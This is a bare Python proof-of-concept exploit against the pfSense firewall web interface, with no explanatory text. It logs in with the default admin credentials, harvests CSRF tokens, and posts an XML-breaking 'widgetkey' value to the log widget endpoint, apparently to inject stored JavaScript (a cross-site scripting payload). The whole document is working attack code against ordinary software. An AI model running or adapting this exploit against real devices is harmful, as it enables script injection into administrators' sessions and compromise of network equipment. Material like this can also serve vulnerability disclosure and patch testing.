pfSense

#!/usr/bin/env python3

import requests

requests.packages.urllib3.disable_warnings()

from bs4 import BeautifulSoup

baseurl  = 'https://192.168.1.1'

target = baseurl + '/widgets/widgets/log.widget.php'

login_data = {

    'login'        : 'Login',

    'usernamefld'  : 'admin',

    'passwordfld'  : 'pfsense',

}

target_data = {

    'filterlogentries' : '10',

    'widgetkey'        : 'test/><log-0><filterlogentriesinterval>5;alert("XSS");var test=50</filterlogentriesinterval></log-0><!--'

}

headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0'}

with requests.Session() as s:

    # Fetch CSRF token from login page

    r = s.get(baseurl, headers=headers, verify=False)

    soup = BeautifulSoup(r.text, 'lxml')

    login_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']

    # Login

    r = s.post(baseurl, data=login_data, headers=headers)

    # Find the next CSRF token

    soup = BeautifulSoup(r.text, 'lxml')

    target_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']

    # Submit actual request

    r = s.post(target, data=target_data, headers=headers)

    # Dump response

    print(r.text)